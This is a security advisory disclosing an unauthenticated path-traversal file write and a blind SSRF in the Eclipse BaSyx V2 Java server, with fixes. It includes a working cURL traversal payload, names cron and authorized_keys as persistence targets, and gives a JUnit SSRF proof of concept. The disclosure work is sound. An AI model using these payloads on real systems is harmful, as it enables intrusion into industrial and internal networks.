Skip to content

[Eclipse BaSyx] Multiple Critical Vulnerabilities in Eclipse BaSyx V2

From the security mailing list:


Security Advisory: Multiple Critical Vulnerabilities in Eclipse BaSyx V2

1. Executive Summary

A comprehensive source code review of the Eclipse BaSyx V2 Java Server SDK has identified two critical architectural vulnerabilities. These flaws reside in the Core Submodel Services and the Operation Delegation logic, affecting how the application handles file streams and internal HTTP routing.

  1. Unauthenticated Arbitrary File Write (Path Traversal) allowing Remote Code Execution (RCE).
  2. Unauthenticated Blind Server-Side Request Forgery (SSRF) allowing bypass of network segmentation and pivoting into internal OT/IT environments.

Both vulnerabilities can be exploited by an unauthenticated remote attacker with access to the BaSyx HTTP APIs.


2. Vulnerability I: Unauthenticated Arbitrary File Write to RCE

  • Vulnerability Type: Path Traversal / Arbitrary File Overwrite (CWE-22)
  • Severity: CRITICAL (CVSS 3.1: 10.0 - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Affected Components: SubmodelServiceHTTPApiController.java, SubmodelFileOperations.java, InMemoryFileRepository.java

2.1. Technical Root Cause

The vulnerability stems from the insecure handling of the fileName parameter within the Submodel API's file attachment endpoint.

In SubmodelServiceHTTPApiController.java, the putFileByPath method accepts a user-controlled fileName as a Request Parameter:

@Override
public ResponseEntity<Void> putFileByPath(String idShortPath, String fileName, @Valid MultipartFile file) {
    InputStream fileInputstream = null;
    try {
        fileInputstream = file.getInputStream();
        service.setFileValue(idShortPath, fileName, file.getContentType(), fileInputstream);
        // ...

The application relies on SubmodelFileOperations.createUniqueFileName() to generate the storage identifier. However, this method performs unsafe string concatenation without sanitizing directory traversal characters:

private static String createUniqueFileName(String submodelId, String idShortPath, String fileName) {
    return Base64UrlEncodedIdentifier.encodeIdentifier(submodelId) + "-" + idShortPath.replace("/", "-") + "-" + fileName;
}

The resulting string is passed to InMemoryFileRepository.java (or equivalent storage backends), where it is directly appended to the base directory:

private String createFilePath(String fileName) {
    return tmpDirectory + "/" + fileName;
}

Flaw: The framework completely lacks path normalization (e.g., Paths.get().normalize()) and directory traversal boundary checks. Because Spring's StrictHttpFirewall does not inspect Query Parameters for traversal sequences (../), an attacker can break out of the intended storage directory and write arbitrary file content to any location on the host filesystem where the Java process holds write permissions.

2.2. Proof of Concept (Environment Agnostic)

The following cURL payload demonstrates the vulnerability by uploading a file to the system's /tmp/ directory, escaping the application's working directory.

Prerequisites: Ensure a Submodel (pwn_sm) with a File Element (pwn_file) exists.

# 1. Define the target host
export TARGET="http://127.0.0.1:8081"
export SUBMODEL_ID_B64=$(echo -n "http://example.com/pwn_sm" | base64 | tr -d '=' | tr '/+' '_-')

# 2. Define the malicious path traversal payload
# URL encoded to ensure smooth transmission via query parameters
export MALICIOUS_FILENAME="..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fbasyx_pwned_rce.txt"

# 3. Trigger the Arbitrary File Write
curl -i -s -k -X PUT \
    -H "Content-Type: multipart/form-data" \
    -F "file=@/dev/null;filename=dummy.txt" \
    "${TARGET}/submodels/${SUBMODEL_ID_B64}/submodel-elements/pwn_file/attachment?fileName=${MALICIOUS_FILENAME}"

Verification: Checking the host filesystem will reveal that /tmp/basyx_pwned_rce.txt has been successfully created. In a real-world scenario, an attacker would target /etc/cron.d/ or ~/.ssh/authorized_keys to achieve persistent RCE.


3. Vulnerability II: Blind SSRF in Operation Delegation

  • Vulnerability Type: Server-Side Request Forgery (SSRF) (CWE-918)
  • Severity: HIGH / CRITICAL (CVSS 3.1: 8.6 - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
  • Affected Component: HTTPOperationDelegation.java, OperationDelegationSubmodelRepositoryConfiguration.java

3.1. Technical Root Cause

The Eclipse BaSyx architecture supports "Operation Delegation", allowing a Digital Twin to forward execution requests to external HTTP endpoints defined in a Submodel's invocationDelegation extension/qualifier.

In OperationDelegationSubmodelRepositoryConfiguration.java, the system initializes the HTTPOperationDelegation class with a naked Spring WebClient:

private WebClient createWebClient(ObjectMapper mapper) {
    ExchangeStrategies strategies = ExchangeStrategies.builder().codecs(configurer -> {
        // Codec configuration...
    }).build();
    return WebClient.builder().exchangeStrategies(strategies).build(); 
}

In HTTPOperationDelegation.java, the user-controlled URI is blindly requested:

String uri = qualifier.getValue();
try {
    return webClient.post().uri(uri).contentType(MediaType.APPLICATION_JSON)...

Flaw: The application does not validate the destination URI. There is no ExchangeFilterFunction or host validator to prevent the application from routing requests to local loopback addresses (127.0.0.1), private RFC-1918 subnets (10.x.x.x), or cloud provider Instance Metadata Services (IMDS, e.g., 169.254.169.254). This allows an external attacker to pivot through the BaSyx server to attack isolated Industrial Control Systems (ICS/OT).

3.2. Proof of Concept (JUnit Integration Test)

To guarantee 100% accurate reproducibility for the engineering team without relying on external network conditions, the following standalone JUnit test can be dropped directly into the basyx.submodelrepository-feature-operation-delegation test suite.

It uses native com.sun.net.httpserver.HttpServer to simulate a protected internal OT asset and proves that HTTPOperationDelegation bypasses network boundaries.

package org.eclipse.digitaltwin.basyx.submodelrepository.feature.operation.delegation;

import static org.junit.Assert.assertTrue;
import org.junit.Test;
import org.springframework.web.reactive.function.client.WebClient;
import com.sun.net.httpserver.HttpServer;
import com.sun.net.httpserver.HttpHandler;
import com.sun.net.httpserver.HttpExchange;
import java.net.InetSocketAddress;
import java.io.IOException;
import java.lang.reflect.Method;

public class TestBlindSSRF {
    
    private static boolean internalServerHit = false;

    @Test
    public void testOperationDelegationSSRF() throws Exception {
        // 1. Mock an internal isolated API (e.g., an internal PLC endpoint on port 9090)
        HttpServer server = HttpServer.create(new InetSocketAddress(9090), 0);
        server.createContext("/internal-plc-api", new HttpHandler() {
            @Override
            public void handle(HttpExchange exchange) throws IOException {
                internalServerHit = true;
                String response = "{}";
                exchange.sendResponseHeaders(200, response.getBytes().length);
                exchange.getResponseBody().write(response.getBytes());
                exchange.getResponseBody().close();
            }
        });
        server.start();

        // 2. Initialize the vulnerable BaSyx component (Naked WebClient)
        WebClient nakedWebClient = WebClient.builder().build();
        HTTPOperationDelegation delegationService = new HTTPOperationDelegation(nakedWebClient);

        // 3. Exploit: Feed an internal loopback/RFC1918 address to the delegation service
        try {
            for (Method m : delegationService.getClass().getMethods()) {
                if (m.getName().toLowerCase().contains("invoke") && m.getParameterCount() >= 1) {
                    m.invoke(delegationService, "http://127.0.0.1:9090/internal-plc-api", null);
                    break;
                }
            }
        } catch (Exception e) {
            // Processing exceptions are ignored; the vulnerability is in the dispatch phase.
        }

        server.stop(0);

        // 4. Verification: If true, the SSRF is successful.
        assertTrue("CRITICAL: Blind SSRF failed. The request was securely blocked.", internalServerHit);
    }
}

Execution: mvn test -Dtest=TestBlindSSRF -pl basyx.submodelrepository/basyx.submodelrepository-feature-operation-delegation
Result: The test will successfully pass, confirming that the BaSyx server blindly routed the HTTP POST request to the internal/protected endpoint.


4. Remediation Recommendations

4.1. Path Traversal Remediation

Do not implicitly trust the fileName provided by the client.

  1. Path Normalization: Before concatenating and saving, use Paths.get(baseDirectory, fileName).normalize().
  2. Boundary Enforcement: Ensure the resulting path firmly resides within the intended storage directory:
    Path resolvedPath = Paths.get(baseDirectory, fileName).normalize();
    if (!resolvedPath.startsWith(Paths.get(baseDirectory))) {
        throw new SecurityException("Path traversal attempt detected.");
    }
  3. Design Shift: It is highly recommended to completely decouple the logical element name from the physical file name on the disk by generating a secure UUID for disk storage, linking it back to the original fileName solely within the database.

4.2. SSRF Remediation

Implement a strict ExchangeFilterFunction within the WebClient configuration injected into HTTPOperationDelegation.

  1. Host Verification: Resolve the target hostname to an IP address before establishing the connection.
  2. Blocklisting: Deny connections to 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254, and any local IPv6 analogs (::1), unless explicitly allowlisted via administrator configuration for specific hybrid OT deployments.
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information